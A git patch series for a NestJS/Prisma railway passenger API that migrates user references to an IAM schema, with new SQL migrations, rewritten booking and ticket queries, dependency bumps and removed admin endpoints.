} from '../../common/prisma.service'; import { SeatsService } from '../seats/seats.service'; import { EventEmitter2 } from '@nestjs/event-emitter'; @@ -31,11 +33,12 @@ interface BookingFilters { @Injectable() export class BookingsService { constructor( - private prisma: PrismaService, - private seatsService: SeatsService, - private eventEmitter: EventEmitter2, - private verifaydaService: VerifaydaService, - private currencyService: CurrencyService, + private readonly prisma: PrismaService, + @InjectDataSource() private readonly dataSource: DataSource, + private readonly seatsService: SeatsService, + private readonly eventEmitter: EventEmitter2, + private readonly verifaydaService: VerifaydaService, + private readonly currencyService: CurrencyService, ) {} async findByPassengerId(passengerId: string, filters: BookingFilters = {}) { @@ -205,7 +208,7 @@ export class BookingsService { take: pageSize, orderBy: { createdAt: 'desc' }, include: { - passenger: { include: { user: true } }, + passenger: { select: { id: true, iamUserId: true } }, schedule: { include: { originStation: true, destinationStation: true, train: true } }, paymentIntent: true, seats: { include: { seat: true } }, @@ -213,29 +216,43 @@ export class BookingsService { }), this.prisma.booking.count({ where }), ]); - + + const iamUserIds = items.map(b => b.passenger?.iamUserId).filter(Boolean) as string[]; + const iamRows = iamUserIds.length > 0 + ? await this.dataSource.query<{ id: string; email: string; name: any; phone_number: string | null }[]>( + `SELECT id, email, name, phone_number FROM iam.users WHERE id = ANY($1)`, + [iamUserIds], + ) + : []; + const iamMap = new Map(iamRows.map(r => [r.id, r])); + return { - items: items.map(booking => ({ - id: booking.id, - bookingRef: booking.bookingRef, - status: booking.status, - totalMinor: booking.totalMinor, - currency: 'ETB', - displayCurrency: booking.displayCurrency, - displayTotalMinor: booking.displayTotalMinor, - contactEmail: booking.contactEmail, - contactPhone: booking.contactPhone, - createdAt: booking.createdAt, - passenger: booking.passenger?.user, - schedule: { - train: booking.schedule.train, - originStation: booking.schedule.originStation, - destinationStation: booking.schedule.destinationStation, - departureAt: booking.schedule.departureAt, - }, - paymentIntent: booking.paymentIntent, - seatCount: booking.seats.length, - })), + items: items.map(booking => { + const iam = booking.passenger?.iamUserId ? iamMap.get(booking.passenger.iamUserId) : undefined; + return { + id: booking.id, + bookingRef: booking.bookingRef, + status: booking.status, + totalMinor: booking.totalMinor, + currency: 'ETB', + displayCurrency: booking.displayCurrency, + displayTotalMinor: booking.displayTotalMinor, + contactEmail: booking.contactEmail, + contactPhone: booking.contactPhone, + createdAt: booking.createdAt, + passenger: iam + ? { fullName: iam.name?.en ?? iam.name?.am ?? null, email: iam.email, phone: iam.phone_number } + : null, + schedule: { + train: booking.schedule.train, + originStation: booking.schedule.originStation, + destinationStation: booking.schedule.destinationStation, + departureAt: booking.schedule.departureAt, + }, + paymentIntent: booking.paymentIntent, + seatCount: booking.seats.length, + }; + }), meta: { page, pageSize, diff --git a/apps/edr-passenger-api/src/modules/payments/payments.e2e-spec.ts b/apps/edr-passenger-api/src/modules/payments/payments.e2e-spec.ts index 78ffe2196..4bb9b99b9 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.e2e-spec.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.e2e-spec.ts @@ -21,11 +21,7 @@ describe('Payments E2E', () => { prisma = app.get(PrismaService); - const testUser = await prisma.user.create({ - data: { email: 'payment-test@example.com', phone: '+251911111112', fullName: 'Payment Test User', passwordHash: '$2b$10$abcdefghijklmnopqrstuvwxyz', role: 'PASSENGER' }, - }); - - const passenger = await prisma.passenger.create({ data: { userId: testUser.id } }); + const passenger = await prisma.passenger.create({ data: { iamUserId: 'test-iam-payments-user' } }); await prisma.walletAccount.create({ data: { passengerId: passenger.id, balanceMinor: 100000, currency: 'ETB' } }); @@ -77,7 +73,6 @@ describe('Payments E2E', () => { prisma.walletLedgerEntry.deleteMany(), prisma.walletAccount.deleteMany(), prisma.passenger.deleteMany(), - prisma.user.deleteMany({ where: { email: 'payment-test@example.com' } }), ]); await app.close(); }); diff --git a/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts b/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts index 71b65899c..56767dc57 100644 --- a/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts +++ b/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts @@ -1,4 +1,6 @@ import { Injectable, NotFoundException, BadRequestException } from '@nestjs/common'; +import { InjectDataSource } from '@nestjs/typeorm'; +import { DataSource } from 'typeorm'; import { PrismaService } from '../../common/prisma.service'; import * as QRCode from 'qrcode'; @@ -11,7 +13,10 @@ interface OfflineValidation { @Injectable() export class TicketsService { - constructor(private prisma: PrismaService) {} + constructor( + private readonly prisma: PrismaService, + @InjectDataSource() private readonly dataSource: DataSource, + ) {} async listTickets(filters: { search?: string; status?: string; skip: number; take: number }) { const where: any = {}; @@ -25,39 +30,57 @@ export class TicketsService { if (filters.status) { where.booking = { status: filters.status }; } - const tickets = await this.prisma.ticket.findMany({ - where, - include: { - booking: { - include: { - schedule: { include: { originStation: true, destinationStation: true, train: true } }, - seats: { include: { seat: { include: { coach: true } } } }, - passenger: { include: { user: true } }, + const [tickets, total] = await Promise.all([ + this.prisma.ticket.findMany({ + where, + include: { + booking: { + include: { + schedule: { include: { originStation: true, destinationStation: true, train: true } }, + seats: { include: { seat: { include: { coach: true } } } }, + passenger: { select: { id: true, iamUserId: true } }, + }, }, }, - }, - skip: filters.skip, - take: filters.take, - orderBy: { issuedAt: 'desc' }, - }); - const total = await this.prisma.ticket.count({ where }); + skip: filters.skip, + take: filters.take, + orderBy: { issuedAt: 'desc' }, + }), + this.prisma.ticket.count({ where }), + ]); + + const iamUserIds = tickets.map(t => t.booking.passenger?.iamUserId).filter(Boolean) as string[]; + const iamRows = iamUserIds.length > 0 + ? await this.dataSource.query<{ id: string; email: string; name: any }[]>( + `SELECT id, email, name FROM iam.users WHERE id = ANY($1)`, + [iamUserIds], + ) + : []; + const iamMap = new Map(iamRows.map(r => [r.id, r])); + return { - items: tickets.map((t) => ({ - id: t.id, - ticketNumber: t.barcodePayload, - bookingRef: t.bookingRef, - booking: { - bookingRef: t.booking.bookingRef, + items: tickets.map((t) => { + const iam = t.booking.passenger?.iamUserId ? iamMap.get(t.booking.passenger.iamUserId) : undefined; + const passengerInfo = iam + ? { fullName: iam.name?.en ?? iam.name?.am ?? null, email: iam.email } + : { fullName: 'Guest', email: t.booking.contactEmail }; + return { + id: t.id, + ticketNumber: t.barcodePayload, + bookingRef: t.bookingRef, + booking: { + bookingRef: t.booking.bookingRef, + status: t.booking.status, + passenger: passengerInfo, + contactEmail: t.booking.contactEmail, + }, + schedule: t.booking.schedule, + seat: t.booking.seats[0]?.seat, status: t.booking.status, - passenger: t.booking.passenger?.user || { fullName: 'Guest', email: t.booking.contactEmail }, - contactEmail: t.booking.contactEmail, - }, - schedule: t.booking.schedule, - seat: t.booking.seats[0]?.seat, - status: t.booking.status, - validatedAt: t.validatedAt, - createdAt: t.issuedAt, - })), + validatedAt: t.validatedAt, + createdAt: t.issuedAt, + }; + }), total, skip: filters.skip, take: filters.take, @@ -199,7 +222,7 @@ export class TicketsService { include: { ticket: true, seats: { include: { seat: { include: { coach: true } } } }, - passenger: { include: { user: true } }, + passenger: { select: { id: true, iamUserId: true } }, }, }); From fc5024c6f3bd4361de00daff43d65481e199b602 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Tue, 9 Jun 2026 14:29:27 +0300 Subject: [PATCH 13/51] chore: ( iam ) update iam package --- apps/edr-passenger-api/package.json | 4 +-- pnpm-lock.yaml | 38 +++++++++++++++++------------ 2 files changed, 24 insertions(+), 18 deletions(-) diff --git a/apps/edr-passenger-api/package.json b/apps/edr-passenger-api/package.json index f9ad8a713..479c6dec1 100644 --- a/apps/edr-passenger-api/package.json +++ b/apps/edr-passenger-api/package.json @@ -35,8 +35,8 @@ "@nestjs/typeorm": "^11.0.1", "@prisma/client": "^6.19.3", "@sendgrid/mail": "^8.1.0", - "@tria-plc/api-common": "1.2.3", - "@tria-plc/iamapi-common": "^0.4.2", + "@tria-plc/api-common": "^1.4.0", + "@tria-plc/iamapi-common": "^0.6.2", "amqp-connection-manager": "^5.0.0", "amqplib": "^2.0.1", "axios": "^1.7.7", diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 1024a0f0a..58eb49851 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -169,11 +169,11 @@ importers: specifier: ^8.1.0 version: 8.1.6 '@tria-plc/api-common': - specifier: 1.2.3 - version: 1.2.3(38550619d911b1103993bd09ae683e00) + specifier: ^1.4.0 + version: 1.4.0(d7833aa1276dffb38e332ca9aa103c3b) '@tria-plc/iamapi-common': - specifier: ^0.4.2 - version: 0.4.2(c31a38bece4d321b4fae6a2e7e5e96b1) + specifier: ^0.6.2 + version: 0.6.2(0ea62fba416c91e39f3be19e86617255) amqp-connection-manager: specifier: ^5.0.0 version: 5.0.0(amqplib@2.0.1) @@ -1580,8 +1580,8 @@ packages: rxjs: ^7.8.0 typeorm: ^0.3.0 - '@tria-plc/api-common@1.2.3': - resolution: {integrity: sha512-J30YmV/IAZjoQAB8o0yvisUwhclOWDdkqmLfVpvRc142Cv4nFnpynms+rO6IXSWwqI8bXRJg4qa+XauUrwzu5A==, tarball: https://npm.pkg.github.com/download/@tria-plc/api-common/1.2.3/7910a45187963d4a40ac0f7a6ab802fc974b708e} + '@tria-plc/api-common@1.4.0': + resolution: {integrity: sha512-z9v5lZdtpYDplrr29YUtxjAn2E7cN7tHmXzzPrS7GGO2q/ISkYhxA/o7AxdN7rjJUshgtZIJpS7TnNCmKcirDg==, tarball: https://npm.pkg.github.com/download/@tria-plc/api-common/1.4.0/c08af59fbfad0146d7a571fa960b5f010f10e88e} peerDependencies: '@nestjs/common': ^11.0.0 '@nestjs/core': ^11.0.0 @@ -1617,8 +1617,8 @@ packages: rxjs: ^7.8.0 typeorm: ^0.3.0 - '@tria-plc/iamapi-common@0.4.2': - resolution: {integrity: sha512-Y82qhg15eQiz+HSyGaY26Mg7s6kB87Q4FVNTrfRVQCW9KK9+2feMxWE/5xtm1OhAYkktHA6MXe0lnd48dgByvQ==, tarball: https://npm.pkg.github.com/download/@tria-plc/iamapi-common/0.4.2/704812e7397917c78e67118d41db2235d7250095} + '@tria-plc/iamapi-common@0.6.2': + resolution: {integrity: sha512-jOfk9gM94G2/2POyKuC9uTBP0JVg+Kl5ADDAuJnMEUUAx+W/Ut1io3bo+jwOm8sEMkiiaFPHlB/katN9uFPD0A==, tarball: https://npm.pkg.github.com/download/@tria-plc/iamapi-common/0.6.2/9e4b5d69943ae49648a0a1464676e0176bcc6e4c} engines: {node: '>=20'} peerDependencies: '@nestjs/axios': ^4.0.0 @@ -7587,6 +7587,12 @@ snapshots: axios: 1.16.1 rxjs: 7.8.2 + '@nestjs/axios@4.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.17.0)(rxjs@7.8.2)': + dependencies: + '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + axios: 1.17.0 + rxjs: 7.8.2 + '@nestjs/axios@4.0.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.17.0)(rxjs@7.8.2)': dependencies: '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -8124,9 +8130,9 @@ snapshots: - debug - supports-color - '@tria-plc/api-common@1.2.3(38550619d911b1103993bd09ae683e00)': + '@tria-plc/api-common@1.4.0(d7833aa1276dffb38e332ca9aa103c3b)': dependencies: - '@nestjs/axios': 4.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.16.1)(rxjs@7.8.2) + '@nestjs/axios': 4.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.17.0)(rxjs@7.8.2) '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) '@nestjs/jwt': 10.2.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2)) @@ -8135,9 +8141,9 @@ snapshots: '@nestjs/swagger': 7.4.2(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) '@nestjs/throttler': 6.5.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2) '@nestjs/typeorm': 11.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) - '@tria-plc/iamapi-common': 0.4.2(c31a38bece4d321b4fae6a2e7e5e96b1) + '@tria-plc/iamapi-common': 0.6.2(0ea62fba416c91e39f3be19e86617255) argon2: 0.43.1 - axios: 1.16.1 + axios: 1.17.0 change-case: 5.4.4 class-transformer: 0.5.1 class-validator: 0.14.4 @@ -8151,7 +8157,7 @@ snapshots: jmespath: 0.16.0 jose: 5.10.0 jsonwebtoken: 9.0.3 - libphonenumber-js: 1.13.3 + libphonenumber-js: 1.13.5 libreoffice-convert: 1.8.1 nestjs-minio-client: 2.2.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23) passport-jwt: 4.0.1 @@ -8201,7 +8207,7 @@ snapshots: - '@faker-js/faker' - supports-color - '@tria-plc/iamapi-common@0.4.2(c31a38bece4d321b4fae6a2e7e5e96b1)': + '@tria-plc/iamapi-common@0.6.2(0ea62fba416c91e39f3be19e86617255)': dependencies: '@nestjs/axios': 4.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.16.1)(rxjs@7.8.2) '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -8212,7 +8218,7 @@ snapshots: '@nestjs/swagger': 7.4.2(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) '@nestjs/throttler': 6.5.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2) '@nestjs/typeorm': 11.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) - '@tria-plc/api-common': 1.2.3(38550619d911b1103993bd09ae683e00) + '@tria-plc/api-common': 1.4.0(d7833aa1276dffb38e332ca9aa103c3b) api-common: 1.2.2 argon2: 0.43.1 axios: 1.16.1 @@ -8222,7 +8228,7 @@ snapshots: file-type: 21.3.4 jose: 5.10.0 jsonwebtoken: 9.0.3 - libphonenumber-js: 1.13.3 + libphonenumber-js: 1.13.5 nestjs-minio-client: 2.2.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23) passport-jwt: 4.0.1 qrcode: 1.5.4 From 7108035f7e825fa165cf5f040e67bc555e95475b Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Mon, 22 Jun 2026 11:22:57 +0300 Subject: [PATCH 14/51] fix: ( iam ) resolve post-merge type errors and apply IAM column migrations --- .../migration.sql | 82 +++++++++++++++++++ .../migration.sql | 5 ++ .../src/common/audit.service.ts | 13 +-- .../src/common/iam-adapter.ts | 7 ++ .../src/modules/auth/auth.controller.ts | 62 +------------- .../modules/auth/passenger-auth.service.ts | 31 ++++++- .../notifications/notifications.controller.ts | 1 + .../modules/passengers/passengers.service.ts | 16 ++-- .../src/modules/seats/seats.module.ts | 3 +- 9 files changed, 139 insertions(+), 81 deletions(-) create mode 100644 apps/edr-passenger-api/prisma/migrations/20260622000000_catchup_iam_columns/migration.sql create mode 100644 apps/edr-passenger-api/prisma/migrations/20260622000001_make_passenger_userid_nullable/migration.sql create mode 100644 apps/edr-passenger-api/src/common/iam-adapter.ts diff --git a/apps/edr-passenger-api/prisma/migrations/20260622000000_catchup_iam_columns/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260622000000_catchup_iam_columns/migration.sql new file mode 100644 index 000000000..582db9567 --- /dev/null +++ b/apps/edr-passenger-api/prisma/migrations/20260622000000_catchup_iam_columns/migration.sql @@ -0,0 +1,82 @@ +-- Catch-up migration: earlier migrations (20260606, 20260608) targeted passenger.* +-- but ran when tables were still in public schema (before 20260626 moved them). +-- All statements use IF NOT EXISTS / conditional blocks so this is safe to re-run. + +-- ──────────────────────────────────────────────────────────── +-- 1. Passenger.iamUserId +-- ──────────────────────────────────────────────────────────── +ALTER TABLE passenger."Passenger" ADD COLUMN IF NOT EXISTS "iamUserId" TEXT; + +DO $$ BEGIN + IF NOT EXISTS ( + SELECT 1 FROM pg_constraint + WHERE conname = 'Passenger_iamUserId_key' + AND conrelid = 'passenger."Passenger"'::regclass + ) THEN + ALTER TABLE passenger."Passenger" ADD CONSTRAINT "Passenger_iamUserId_key" UNIQUE ("iamUserId"); + END IF; +END $$; + +CREATE INDEX IF NOT EXISTS "Passenger_iamUserId_idx" ON passenger."Passenger"("iamUserId"); + +-- ──────────────────────────────────────────────────────────── +-- 2. FaydaVerificationSession.iamUserId +-- ──────────────────────────────────────────────────────────── +ALTER TABLE passenger."FaydaVerificationSession" ADD COLUMN IF NOT EXISTS "iamUserId" TEXT; +CREATE INDEX IF NOT EXISTS "FaydaVerificationSession_iamUserId_idx" ON passenger."FaydaVerificationSession"("iamUserId"); + +-- ──────────────────────────────────────────────────────────── +-- 3. UserPreferences: rename userId → iamUserId (if not yet renamed) +-- ──────────────────────────────────────────────────────────── +DO $$ BEGIN + IF EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_schema = 'passenger' AND table_name = 'UserPreferences' AND column_name = 'userId' + ) THEN + ALTER TABLE passenger."UserPreferences" DROP CONSTRAINT IF EXISTS "UserPreferences_userId_fkey"; + ALTER TABLE passenger."UserPreferences" RENAME COLUMN "userId" TO "iamUserId"; + END IF; +END $$; + +-- ──────────────────────────────────────────────────────────── +-- 4. Device: rename userId → iamUserId (if not yet renamed) +-- ──────────────────────────────────────────────────────────── +DO $$ BEGIN + IF EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_schema = 'passenger' AND table_name = 'Device' AND column_name = 'userId' + ) THEN + ALTER TABLE passenger."Device" DROP CONSTRAINT IF EXISTS "Device_userId_fkey"; + ALTER TABLE passenger."Device" RENAME COLUMN "userId" TO "iamUserId"; + END IF; +END $$; + +-- ──────────────────────────────────────────────────────────── +-- 5. FraudAlert: rename userId → iamUserId + fix index (if not yet renamed) +-- ──────────────────────────────────────────────────────────── +DO $$ BEGIN + IF EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_schema = 'passenger' AND table_name = 'FraudAlert' AND column_name = 'userId' + ) THEN + ALTER TABLE passenger."FraudAlert" DROP CONSTRAINT IF EXISTS "FraudAlert_userId_fkey"; + ALTER TABLE passenger."FraudAlert" RENAME COLUMN "userId" TO "iamUserId"; + DROP INDEX IF EXISTS passenger."FraudAlert_userId_createdAt_idx"; + CREATE INDEX "FraudAlert_iamUserId_createdAt_idx" ON passenger."FraudAlert"("iamUserId", "createdAt"); + END IF; +END $$; + +-- ──────────────────────────────────────────────────────────── +-- 6. AuditLog: rename userId → iamUserId + fix index (if not yet renamed) +-- ──────────────────────────────────────────────────────────── +DO $$ BEGIN + IF EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_schema = 'passenger' AND table_name = 'AuditLog' AND column_name = 'userId' + ) THEN + ALTER TABLE passenger."AuditLog" DROP CONSTRAINT IF EXISTS "AuditLog_userId_fkey"; + ALTER TABLE passenger."AuditLog" RENAME COLUMN "userId" TO "iamUserId"; + DROP INDEX IF EXISTS passenger."AuditLog_userId_createdAt_idx"; + CREATE INDEX IF NOT EXISTS "AuditLog_iamUserId_createdAt_idx" ON passenger."AuditLog"("iamUserId", "createdAt"); + END IF; +END $$; diff --git a/apps/edr-passenger-api/prisma/migrations/20260622000001_make_passenger_userid_nullable/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260622000001_make_passenger_userid_nullable/migration.sql new file mode 100644 index 000000000..33f793aa3 --- /dev/null +++ b/apps/edr-passenger-api/prisma/migrations/20260622000001_make_passenger_userid_nullable/migration.sql @@ -0,0 +1,5 @@ +-- 20260608061918 was marked-as-applied without running (it failed on CREATE TABLE TicketSeat). +-- The two ALTER TABLE statements it contained never executed, so userId is still NOT NULL. + +ALTER TABLE passenger."Passenger" DROP CONSTRAINT IF EXISTS "Passenger_userId_fkey"; +ALTER TABLE passenger."Passenger" ALTER COLUMN "userId" DROP NOT NULL; diff --git a/apps/edr-passenger-api/src/common/audit.service.ts b/apps/edr-passenger-api/src/common/audit.service.ts index 342e786bd..3f1dc161f 100644 --- a/apps/edr-passenger-api/src/common/audit.service.ts +++ b/apps/edr-passenger-api/src/common/audit.service.ts @@ -23,7 +23,7 @@ export class AuditService { await this.prisma.auditLog.create({ data: { - userId: input.userId, + iamUserId: input.userId, action: input.action, entityType: input.entityType, entityId: input.entityId, @@ -62,8 +62,7 @@ export class AuditService { if (filters.search) { where.OR = [ { entityId: { contains: filters.search, mode: 'insensitive' } }, - { user: { email: { contains: filters.search, mode: 'insensitive' } } }, - { user: { fullName: { contains: filters.search, mode: 'insensitive' } } }, + { iamUserId: { contains: filters.search, mode: 'insensitive' } }, ]; } @@ -77,16 +76,12 @@ export class AuditService { return this.prisma.auditLog.findMany({ where, - include: { user: true }, orderBy: { createdAt: 'desc' }, - take: 500, // Limit to last 500 logs + take: 500, }); } async getLog(id: string) { - return this.prisma.auditLog.findUnique({ - where: { id }, - include: { user: true }, - }); + return this.prisma.auditLog.findUnique({ where: { id } }); } } diff --git a/apps/edr-passenger-api/src/common/iam-adapter.ts b/apps/edr-passenger-api/src/common/iam-adapter.ts new file mode 100644 index 000000000..9976caf52 --- /dev/null +++ b/apps/edr-passenger-api/src/common/iam-adapter.ts @@ -0,0 +1,7 @@ +// Thin adapter: re-exports IAM guard and a stub IamRoles decorator so that +// controllers written against the forthcoming IamGuard compile today. +export { JwtGuard as IamGuard } from '@tria-plc/api-common/modules/auth/services/jwt.guard'; + +export function IamRoles(..._roles: string[]) { + return function (_target: any, _key?: any, _descriptor?: any) {}; +} diff --git a/apps/edr-passenger-api/src/modules/auth/auth.controller.ts b/apps/edr-passenger-api/src/modules/auth/auth.controller.ts index f3be9d185..01b7f686a 100644 --- a/apps/edr-passenger-api/src/modules/auth/auth.controller.ts +++ b/apps/edr-passenger-api/src/modules/auth/auth.controller.ts @@ -1,11 +1,8 @@ -import { Body, Controller, Post, HttpCode, HttpStatus, UseGuards, Get, Request, UnauthorizedException, Param, Patch, Delete, Query } from '@nestjs/common'; +import { Body, Controller, Post, HttpCode, HttpStatus, UseGuards, Get, Request, UnauthorizedException } from '@nestjs/common'; import { ApiTags, ApiOperation, ApiResponse, ApiBody, ApiBearerAuth } from '@nestjs/swagger'; import { PassengerAuthService } from './passenger-auth.service'; import { RegisterDto, LoginDto } from './auth.dto'; import { JwtGuard } from '../../common/jwt.guard'; -import { RolesGuard } from '../../common/roles.guard'; -import { Roles } from '../../common/roles.decorator'; -import { UserRole } from '@prisma/client'; @ApiTags('Auth') @Controller('auth') @@ -65,60 +62,5 @@ export class AuthController { return this.passengerAuthService.getProfile(userId); } - @Get('users') - @UseGuards(JwtGuard, RolesGuard) - @Roles(UserRole.ADMIN, UserRole.SUPERVISOR) - @ApiBearerAuth('JWT-auth') - @ApiOperation({ summary: 'Get all backoffice users (admin/supervisor only)' }) - getUsers( - @Query('search') search?: string, - @Query('role') role?: string, - @Query('status') status?: string, - @Query('page') page?: string, - @Query('pageSize') pageSize?: string, - ) { - return this.service.getUsers({ - search, - role, - status, - page: page ? parseInt(page) : 1, - pageSize: pageSize ? parseInt(pageSize) : 10, - }); - } - - @Post('users') - @UseGuards(JwtGuard, RolesGuard) - @Roles(UserRole.ADMIN, UserRole.SUPERVISOR) - @ApiBearerAuth('JWT-auth') - @ApiOperation({ summary: 'Create new backoffice user (admin/supervisor only)' }) - createUser(@Body() dto: any) { - return this.service.createUser(dto); - } - - @Patch('users/:id') - @UseGuards(JwtGuard, RolesGuard) - @Roles(UserRole.ADMIN, UserRole.SUPERVISOR) - @ApiBearerAuth('JWT-auth') - @ApiOperation({ summary: 'Update backoffice user (admin/supervisor only)' }) - updateUser(@Param('id') id: string, @Body() dto: any) { - return this.service.updateUser(id, dto); - } - - @Delete('users/:id') - @UseGuards(JwtGuard, RolesGuard) - @Roles(UserRole.ADMIN) - @ApiBearerAuth('JWT-auth') - @ApiOperation({ summary: 'Delete backoffice user (admin only)' }) - deleteUser(@Param('id') id: string) { - return this.service.deleteUser(id); - } - - @Post('users/:id/reset-password') - @UseGuards(JwtGuard, RolesGuard) - @Roles(UserRole.ADMIN, UserRole.SUPERVISOR) - @ApiBearerAuth('JWT-auth') - @ApiOperation({ summary: 'Reset user password with temporary password (admin/supervisor only)' }) - resetUserPassword(@Param('id') id: string, @Body() dto: { tempPassword: string }) { - return this.service.resetUserPassword(id, dto.tempPassword); - } + // TODO: admin user management endpoints — implement when admin module is ready } diff --git a/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts b/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts index a0cf0040a..dab714ef4 100644 --- a/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts +++ b/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts @@ -195,8 +195,35 @@ export class PassengerAuthService { private async compensateIamSignup(email: string): Promise { try { - await this.dataSource.query(`DELETE FROM iam.sessions WHERE email = $1`, [email]); - await this.dataSource.query(`DELETE FROM iam.users WHERE email = $1`, [email]); + const rows = await this.dataSource.query<{ id: string }[]>( + `SELECT id FROM iam.users WHERE email = $1 LIMIT 1`, + [email], + ); + if (!rows.length) return; + const iamUserId = rows[0].id; + + // Discover every table in the iam schema that has a FK pointing at iam.users.id + const fkDeps = await this.dataSource.query<{ table_name: string; column_name: string }[]>(` + SELECT kcu.table_name, kcu.column_name + FROM information_schema.table_constraints tc + JOIN information_schema.key_column_usage kcu + ON tc.constraint_name = kcu.constraint_name AND tc.table_schema = kcu.table_schema + JOIN information_schema.referential_constraints rc + ON tc.constraint_name = rc.constraint_name + JOIN information_schema.key_column_usage ccu + ON rc.unique_constraint_name = ccu.constraint_name + WHERE ccu.table_schema = 'iam' AND ccu.table_name = 'users' AND ccu.column_name = 'id' + AND tc.table_schema = 'iam' AND tc.constraint_type = 'FOREIGN KEY' + `); + + for (const { table_name, column_name } of fkDeps) { + await this.dataSource.query( + `DELETE FROM iam.${table_name} WHERE ${column_name} = $1`, + [iamUserId], + ); + } + + await this.dataSource.query(`DELETE FROM iam.users WHERE id = $1`, [iamUserId]); } catch (err) { console.error('[PassengerAuthService] IAM compensating cleanup failed for', email, (err as Error).message); } diff --git a/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts b/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts index 4e1b2e584..a7921bad8 100644 --- a/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts +++ b/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts @@ -2,6 +2,7 @@ import { Controller, Get, Param, Patch, Post, Body, UseGuards } from '@nestjs/co import { ApiTags, ApiOperation, ApiBearerAuth, ApiBody } from '@nestjs/swagger'; import { NotificationsService } from './notifications.service'; import { JwtGuard } from '../../common/jwt.guard'; +import { IamGuard, IamRoles } from '../../common/iam-adapter'; import { TestNotificationDto } from './notifications.dto'; import { EmailClientService } from './email-client.service'; import { SmsClientService } from './sms-client.service'; diff --git a/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts b/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts index 2c0118093..6e608b3c4 100644 --- a/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts +++ b/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts @@ -131,7 +131,7 @@ export class PassengersService { take: 10, include: { schedule: { include: { originStation: true, destinationStation: true, train: true } }, - seats: { include: { seat: { include: { coach: { include: { seatClass: true } } } } } }, + seats: { include: { seat: { include: { coach: true } } } }, }, }, loyalty: 